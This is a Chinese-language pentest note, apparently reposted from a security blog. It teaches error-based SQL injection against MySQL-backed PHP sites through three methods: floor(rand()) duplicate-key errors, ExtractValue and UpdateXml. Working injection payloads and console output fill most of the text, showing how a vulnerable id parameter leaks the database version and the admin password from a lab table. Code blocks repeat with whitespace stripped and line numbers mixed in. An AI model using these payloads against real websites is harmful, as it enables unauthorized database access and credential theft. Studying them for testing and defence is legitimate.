放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。

实际测试环境：

Default

mysql> show tables;

+----------------+

| Tables_in_test |

+----------------+

| admin |

| article |

+----------------+

1

2

3

4

5

6

7

mysql>showtables;

+----------------+

|Tables_in_test|

+----------------+

|admin|

|article|

+----------------+

Default

mysql> describe admin;

+-------+------------------+------+-----+---------+----------------+

| Field | Type | Null | Key | Default | Extra |

+-------+------------------+------+-----+---------+----------------+

| id | int(10) unsigned | NO | PRI | NULL | auto_increment |

| user | varchar(50) | NO | | NULL | |

| pass | varchar(50) | NO | | NULL | |

+-------+------------------+------+-----+---------+----------------+

1

2

3

4

5

6

7

8

mysql>describeadmin;

+-------+------------------+------+-----+---------+----------------+

|Field|Type|Null|Key|Default|Extra|

+-------+------------------+------+-----+---------+----------------+

|id|int(10)unsigned|NO|PRI|NULL|auto_increment|

|user|varchar(50)|NO||NULL||

|pass|varchar(50)|NO||NULL||

+-------+------------------+------+-----+---------+----------------+

Default

mysql> describe article;

+---------+------------------+------+-----+---------+----------------+

| Field | Type | Null | Key | Default | Extra |

+---------+------------------+------+-----+---------+----------------+

| id | int(10) unsigned | NO | PRI | NULL | auto_increment |

| title | varchar(50) | NO | | NULL | |

| content | varchar(50) | NO | | NULL | |

+---------+------------------+------+-----+---------+----------------+

1

2

3

4

5

6

7

8

mysql>describearticle;

+---------+------------------+------+-----+---------+----------------+

|Field|Type|Null|Key|Default|Extra|

+---------+------------------+------+-----+---------+----------------+

|id|int(10)unsigned|NO|PRI|NULL|auto_increment|

|title|varchar(50)|NO||NULL||

|content|varchar(50)|NO||NULL||

+---------+------------------+------+-----+---------+----------------+

1、通过floor报错

可以通过如下一些利用代码

Default

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x

from information_schema.tables group by x)a);

1

2

andselect1from(selectcount(*),concat(version(),floor(rand(0)*2))x

frominformation_schema.tablesgroupbyx)a);

Default

and (select count(*) from (select 1 union select null union select !1)x

group by concat((select table_name from information_schema.tables limit 1),

floor(rand(0)*2)));

1

2

3

and(selectcount(*)from(select1unionselectnullunionselect!1)x

groupbyconcat((selecttable_namefrominformation_schema.tableslimit1),

floor(rand(0)*2)));

举例如下：

首先进行正常查询：

Default

mysql> select * from article where id = 1;

+----+-------+---------+

| id | title | content |

+----+-------+---------+

| 1 | test | do it |

+----+-------+---------+

1

2

3

4

5

6

mysql>select *fromarticlewhereid=1;

+----+-------+---------+

|id|title|content|

+----+-------+---------+

|1|test|doit|

+----+-------+---------+

假如id输入存在注入的话，可以通过如下语句进行报错。

Default

mysql> select * from article where id = 1 and (select 1 from

(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'

1

2

3

mysql>select *fromarticlewhereid=1and(select1from

(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);

ERROR1062(23000):Duplicateentry'5.1.33-community-log1'forkey'group_key'

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码：

Method1:

Default

mysql> select * from article where id = 1 and (select 1 from

(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x

from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

1

2

3

4

mysql>select *fromarticlewhereid=1and(select1from

(selectcount(*),concat((selectpassfromadminwhereid=1),floor(rand(0)*2))x

frominformation_schema.tablesgroupbyx)a);

ERROR1062(23000):Duplicateentry'admin8881'forkey'group_key'

Method2:

Default

mysql> select * from article where id = 1 and (select count(*)

from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),

floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

1

2

3

4

mysql>select *fromarticlewhereid=1and(selectcount(*)

from(select1unionselectnullunionselect!1)xgroupbyconcat((selectpassfromadminlimit1),

floor(rand(0)*2)));

ERROR1062(23000):Duplicateentry'admin8881'forkey'group_key'

2、ExtractValue

测试语句如下

Default

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

1

andextractvalue(1,concat(0x5c,(selecttable_namefrominformation_schema.tableslimit1)));

实际测试过程

Default

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,

(select pass from admin limit 1)));--

ERROR 1105 (HY000): XPATH syntax error: '\admin888'

1

2

3

mysql>select *fromarticlewhereid=1andextractvalue(1,concat(0x5c,

(selectpassfromadminlimit1)));--

ERROR1105(HY000):XPATHsyntaxerror:'\admin888'

3、UpdateXml

测试语句

Default

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

1

and1=(updatexml(1,concat(0x5e24,(selectuser()),0x5e24),1))

实际测试过程

Default

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,

(select pass from admin limit 1),0x5e24),1));

ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

1

2

3

mysql>select *fromarticlewhereid=1and1=(updatexml(1,concat(0x5e24,

(selectpassfromadminlimit1),0x5e24),1));

ERROR1105(HY000):XPATHsyntaxerror:'^$admin888^$'

All, thanks foreign guys.

link:http://blog.ourren.com/2012/11/03/pentest_method_of_mysql_error.html

本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理，转载请注明出处！